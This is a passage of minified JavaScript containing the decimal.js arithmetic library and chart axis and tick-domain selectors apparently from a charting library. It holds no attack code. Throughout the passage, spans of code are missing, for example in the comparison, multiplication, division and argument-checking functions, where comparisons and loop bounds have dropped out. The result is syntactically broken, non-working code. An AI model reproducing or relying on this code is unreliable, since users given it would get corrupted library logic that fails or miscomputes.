rb(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(he(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&wy.test(i)){var c=wy.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(he(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&jy.test(a)){var d=jy.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(Tr(m))return t==null?m:rb(m,t,n)}}}var fs=1e9,q7={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},v0,He=!0,Cn="[DecimalError] ",Hi=Cn+"Invalid argument: ",x0=Cn+"Exponent out of range: ",ps=Math.floor,Ti=Math.pow,Y7=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,tn,xt=1e7,$e=7,p4=9007199254740991,Su=ps(p4/$e),ce={};ce.absoluteValue=ce.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};ce.comparedTo=ce.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=re.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};ce.decimalPlaces=ce.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*$e;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};ce.dividedBy=ce.div=function(e){return jr(this,new this.constructor(e))};ce.dividedToIntegerBy=ce.idiv=function(e){var t=this,n=t.constructor;return Te(jr(t,new n(e),0,1),n.precision)};ce.equals=ce.eq=function(e){return!this.cmp(e)};ce.exponent=function(){return ot(this)};ce.greaterThan=ce.gt=function(e){return this.cmp(e)>0};ce.greaterThanOrEqualTo=ce.gte=function(e){return this.cmp(e)>=0};ce.isInteger=ce.isint=function(){return this.e>this.d.length-2};ce.isNegative=ce.isneg=function(){return this.s<0};ce.isPositive=ce.ispos=function(){return this.s>0};ce.isZero=function(){return this.s===0};ce.lessThan=ce.lt=function(e){return this.cmp(e)<0};ce.lessThanOrEqualTo=ce.lte=function(e){return this.cmp(e)<1};ce.logarithm=ce.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(tn))throw Error(Cn+"NaN");if(n.s<1)throw Error(Cn+(n.s?"NaN":"-Infinity"));return n.eq(tn)?new r(0):(He=!1,t=jr(Bo(n,a),Bo(e,a),a),He=!0,Te(t,i))};ce.minus=ce.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?x4(t,e):m4(t,(e.s=-e.s,e))};ce.modulo=ce.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Cn+"NaN");return n.s?(He=!1,t=jr(n,e,0,1).times(e),He=!0,n.minus(t)):Te(new r(n),i)};ce.naturalExponential=ce.exp=function(){return h4(this)};ce.naturalLogarithm=ce.ln=function(){return Bo(this)};ce.negated=ce.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};ce.plus=ce.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?m4(t,e):x4(t,(e.s=-e.s,e))};ce.precision=ce.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Hi+e);if(t=ot(i)+1,r=i.d.length-1,n=r*$e+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};ce.squareRoot=ce.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Cn+"NaN")}for(e=ot(l),He=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=ir(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ps((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(jr(l,a,o+2)).times(.5),ir(a.d).slice(0,o)===(t=ir(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Te(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return He=!0,Te(r,n)};ce.times=ce.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%xt|0,t=l/xt|0;a[i]=(a[i]+t)%xt|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,He?Te(e,f.precision):e};ce.toDecimalPlaces=ce.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(cr(e,0,fs),t===void 0?t=r.rounding:cr(t,0,8),Te(n,e+ot(n)+1,t))};ce.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=aa(r,!0):(cr(e,0,fs),t===void 0?t=i.rounding:cr(t,0,8),r=Te(new i(r),e+1,t),n=aa(r,!0,e+1)),n};ce.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?aa(i):(cr(e,0,fs),t===void 0?t=a.rounding:cr(t,0,8),r=Te(new a(i),e+ot(i)+1,t),n=aa(r.abs(),!1,e+ot(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};ce.toInteger=ce.toint=function(){var e=this,t=e.constructor;return Te(new t(e),ot(e)+1,t.rounding)};ce.toNumber=function(){return+this};ce.toPower=ce.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(tn);if(l=new c(l),!l.s){if(e.s<1)throw Error(Cn+"Infinity");return l}if(l.eq(tn))return l;if(r=c.precision,e.eq(tn))return Te(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=p4){for(i=new c(tn),t=Math.ceil(r/$e+4),He=!1;n%2&&(i=i.times(l),ab(i.d,t)),n=ps(n/2),n!==0;)l=l.times(l),ab(l.d,t);return He=!0,e.s<0?new c(tn).div(i):Te(i,r)}}else if(a<0)throw Error(Cn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,He=!1,i=e.times(Bo(l,r+u)),He=!0,i=h4(i),i.s=a,i};ce.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=ot(i),r=aa(i,n<=a.toExpNeg||n>=a.toExpPos)):(cr(e,1,fs),t===void 0?t=a.rounding:cr(t,0,8),i=Te(new a(i),e,t),n=ot(i),r=aa(i,e<=n||n<=a.toExpNeg,e)),r};ce.toSignificantDigits=ce.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(cr(e,1,fs),t===void 0?t=r.rounding:cr(t,0,8)),Te(new r(n),e,t)};ce.toString=ce.valueOf=ce.val=ce.toJSON=ce[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ot(e),n=e.constructor;return aa(e,t<=n.toExpNeg||t>=n.toExpPos)};function m4(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),He?Te(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/$e),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/xt|0,c[a]%=xt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,He?Te(t,f):t}function cr(e,t,n){if(e!==~~e||en)throw Error(Hi+e)}function ir(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,_=r.constructor,A=r.s==i.s?1:-1,O=r.d,P=i.d;if(!r.s)return new _(r);if(!i.s)throw Error(Cn+"Division by zero");for(c=r.e-i.e,N=P.length,k=O.length,h=new _(A),x=h.d=[],u=0;P[u]==(O[u]||0);)++u;if(P[u]>(O[u]||0)&&--c,a==null?b=a=_.precision:o?b=a+(ot(r)-ot(i))+1:b=a,b<0)return new _(0);if(b=b/$e+2|0,u=0,N==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),O=e(O,d),N=P.length,k=O.length),j=N,g=O.slice(0,N),y=g.length;y=xt/2&&++S;do d=0,l=t(P,g,N,y),l<0?(v=g[0],N!=y&&(v=v*xt+(g[1]||0)),d=v/S|0,d>1?(d>=xt&&(d=xt-1),f=e(P,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N16)throw Error(x0+ot(e));if(!e.s)return new d(tn);for(He=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ti(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(tn),d.precision=l;;){if(i=Te(i.times(e),l),n=n.times(++c),o=a.plus(jr(i,n,l)),ir(o.d).slice(0,l)===ir(a.d).slice(0,l)){for(;u--;)a=Te(a.times(a),l);return d.precision=f,t==null?(He=!0,Te(a,f)):a}a=o}}function ot(e){for(var t=e.e*$e,n=e.d[0];n>=10;n/=10)t++;return t}function dp(e,t,n){if(t>e.LN10.sd())throw He=!0,n&&(e.precision=n),Error(Cn+"LN10 precision limit exceeded");return Te(new e(e.LN10),t)}function Yr(e){for(var t="";e--;)t+="0";return t}function Bo(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Cn+(h.s?"NaN":"-Infinity"));if(h.eq(tn))return new g(0);if(t==null?(He=!1,u=y):u=t,h.eq(10))return t==null&&(He=!0),dp(g,u);if(u+=m,g.precision=u,n=ir(x),r=n.charAt(0),a=ot(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=ir(h.d),r=n.charAt(0),f++;a=ot(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=dp(g,u+2,y).times(a+""),h=Bo(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?(He=!0,Te(h,y)):h;for(l=o=h=jr(h.minus(tn),h.plus(tn),u),d=Te(h.times(h),u),i=3;;){if(o=Te(o.times(d),u),c=l.plus(jr(o,new g(i),u)),ir(c.d).slice(0,u)===ir(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(dp(g,u+2,y).times(a+""))),l=jr(l,new g(f),u),g.precision=y,t==null?(He=!0,Te(l,y)):l;l=c,i+=2}}function ib(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ps(n/$e),e.d=[],r=(n+1)%$e,n<0&&(r+=$e),rSu||e.e<-Su))throw Error(x0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Te(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=$e,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/$e),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=$e,i=r-$e+o}if(n!==void 0&&(a=Ti(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ti(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=ot(e),f.length=1,t=t-a-1,f[0]=Ti(10,($e-t%$e)%$e),e.e=ps(-t/$e)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=Ti(10,$e-r),f[d]=i>0?(u/Ti(10,o-i)%Ti(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==xt&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=xt)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if(He&&(e.e>Su||e.e<-Su))throw Error(x0+ot(e));return e}function x4(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),He?Te(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/$e),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?a=a.charAt(0)+"."+a.slice(1)+Yr(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Yr(-i-1)+a,n&&(r=n-o)>0&&(a+=Yr(r))):i>=o?(a+=Yr(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Yr(r))):((r=i+1)0&&(i+1===o&&(a+="."),a+=Yr(r))),e.s<0?"-"+a:a}function ab(e,t){if(e.length>t)return e.length=t,!0}function v4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Hi+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return ib(o,a.toString())}else if(typeof a!="string")throw Error(Hi+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,Y7.test(a))ib(o,a);else throw Error(Hi+a)}if(i.prototype=ce,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=v4,i.config=i.set=G7,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Hi+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Hi+n+": "+r);return this}var v0=v4(q7);tn=new v0(1);const Pe=v0;function g4(e){var t;return e===0?t=1:t=Math.floor(new Pe(e).abs().log(10).toNumber())+1,t}function y4(e,t,n){for(var r=new Pe(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var b4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},w4=(e,t,n)=>{if(e.lte(0))return new Pe(0);var r=g4(e.toNumber()),i=new Pe(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new Pe(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Pe(c.toNumber()):new Pe(Math.ceil(c.toNumber()))},X7=(e,t,n)=>{var r=new Pe(1),i=new Pe(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new Pe(10).pow(g4(e)-1),i=new Pe(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new Pe(Math.floor(e)))}else e===0?i=new Pe(Math.floor((t-1)/2)):n||(i=new Pe(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Pe(0),tickMin:new Pe(0),tickMax:new Pe(0)};var o=w4(new Pe(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new Pe(0):(l=new Pe(t).add(n).div(2),l=l.sub(new Pe(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Pe(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?j4(t,n,r,i,a+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Pe(c).mul(o)),tickMax:l.add(new Pe(u).mul(o))})},Z7=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=b4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return X7(l,i,a);var{step:d,tickMin:f,tickMax:m}=j4(l,c,o,a,0),h=y4(f,m.add(new Pe(.1).mul(d)),d);return n>r?h.reverse():h},Q7=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=b4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=w4(new Pe(l).sub(o).div(c-1),a,0),d=[...y4(new Pe(o),new Pe(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},J7=e=>e.rootProps.barCategoryGap,al=e=>e.rootProps.stackOffset,k4=e=>e.rootProps.reverseStackOrder,g0=e=>e.options.chartName,y0=e=>e.rootProps.syncId,N4=e=>e.rootProps.syncMethod,b0=e=>e.options.eventEmitter,eI=e=>e.rootProps.baseValue,Ht={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},zi={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},Qn={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},qd=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function S4(e,t,n){if(n!=="auto")return n;if(e!=null)return fr(e,t)?"category":"number"}function sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},w0=T([iI,oN],(e,t)=>{var n;if(e!=null)return e;var r=(n=S4(t,"angleAxis",ob.type))!==null&&n!==void 0?n:"category";return zu(zu({},ob),{},{type:r})}),aI=(e,t)=>e.polarAxis.radiusAxis[t],j0=T([aI,oN],(e,t)=>{var n;if(e!=null)return e;var r=(n=S4(t,"radiusAxis",lb.type))!==null&&n!==void 0?n:"category";return zu(zu({},lb),{},{type:r})}),Yd=e=>e.polarOptions,k0=T([Rr,$r,yt],NN),z4=T([Yd,k0],(e,t)=>{if(e!=null)return sn(e.innerRadius,t,0)}),C4=T([Yd,k0],(e,t)=>{if(e!=null)return sn(e.outerRadius,t,t*.8)}),sI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},P4=T([Yd],sI);T([w0,P4],qd);var E4=T([k0,z4,C4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});T([j0,E4],qd);var A4=T([Me,Yd,z4,C4,Rr,$r],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:sn(o,i,i/2),cy:sn(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Ze=(e,t)=>t,sl=(e,t,n)=>n;function N0(e){return e==null?void 0:e.id}function _4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=N0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Fe(f,a,null)),x=Fe(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function S0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Gd=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Xd(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function oI(e,t){if(e.length===t.length){for(var n=0;n{var t=Me(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ms=e=>e.tooltip.settings.axisId;function lI(e){if(e in qs)return qs[e]();var t="scale".concat(Go(e));if(t in qs)return qs[t]()}function cb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function ub(e,t,n){if(typeof e=="function")return cb(e.copy().domain(t).range(n));if(e!=null){var r=lI(e);if(r!=null)return r.domain(t).range(n),cb(r)}}var O4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Tr(t)){for(var n,r,i=0;ir)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Cu(e){for(var t=1;te.cartesianAxis.xAxis[t],Wr=(e,t)=>{var n=fI(e,t);return n??T4},M4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:oh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Qo},pI=(e,t)=>e.cartesianAxis.yAxis[t],Ur=(e,t)=>{var n=pI(e,t);return n??M4},mI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},z0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??mI},tt=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);case"zAxis":return z0(e,n);case"angleAxis":return w0(e,n);case"radiusAxis":return j0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},hI=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},hs=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);case"angleAxis":return w0(e,n);case"radiusAxis":return j0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},L4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function C0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var I4=e=>e.graphicalItems.cartesianItems,xI=T([Ze,sl],C0),P0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),ol=T([I4,tt,xI],P0,{memoizeOptions:{resultEqualityCheck:Xd}}),D4=T([ol],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(S0)),R4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),vI=T([ol],R4),E0=e=>e.map(t=>t.data).filter(Boolean).flat(1),gI=T([ol],E0,{memoizeOptions:{resultEqualityCheck:Xd}}),A0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},_0=T([gI,d4],A0),O0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Fe(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Fe(i,r)}))):e.map(r=>({value:r})),Zd=T([_0,tt,ol],O0);function $4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function hc(e){if(Pr(e)||e instanceof Date){var t=Number(e);if(ze(t))return t}}function fb(e){if(Array.isArray(e)){var t=[hc(e[0]),hc(e[1])];return Tr(t)?t:void 0}var n=hc(e);if(n!=null)return[n,n]}function Mr(e){return e.map(hc).filter(nr)}function yI(e,t,n){return!n||typeof t!="number"||lr(t)?[]:n.length?Mr(n.flatMap(r=>{var i=Fe(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!ze(a)||!ze(o)))return[t-a,t+o]})):[]}var mt=e=>{var t=wt(e),n=ms(e);return hs(e,t,n)},ll=T([mt],e=>e==null?void 0:e.dataKey),bI=T([D4,d4,mt],_4),B4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(N0);return[l,{stackedData:iT(e,d,n),graphicalItems:u}]}))},F4=T([bI,D4,al,k4],B4),W4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=lT(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},wI=T([tt],e=>e.allowDataOverflow),T0=e=>{var t;if(e==null||!("domain"in e))return oh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Mr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:oh},M0=T([tt],T0),L0=T([M0,wI],f4),jI=T([F4,Fr,Ze,L0],W4,{memoizeOptions:{resultEqualityCheck:Gd}}),Qd=e=>e.errorBars,kI=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>$4(n,r)),Pu=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>$4(i,v)),m=Fe(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=yI(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||xo)&&(o=g)}var y=fb(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=fb(Fe(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),ze(a)&&ze(o))return[a,o]},NI=T([_0,tt,vI,Qd,Ze],I0,{memoizeOptions:{resultEqualityCheck:Gd}});function SI(e){var{value:t}=e;if(Pr(t)||t instanceof Date)return t}var zI=(e,t,n)=>{var r=e.map(SI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&Wj(r))?_N(0,e.length):t.allowDuplicatedCategory?r:Array.from(new 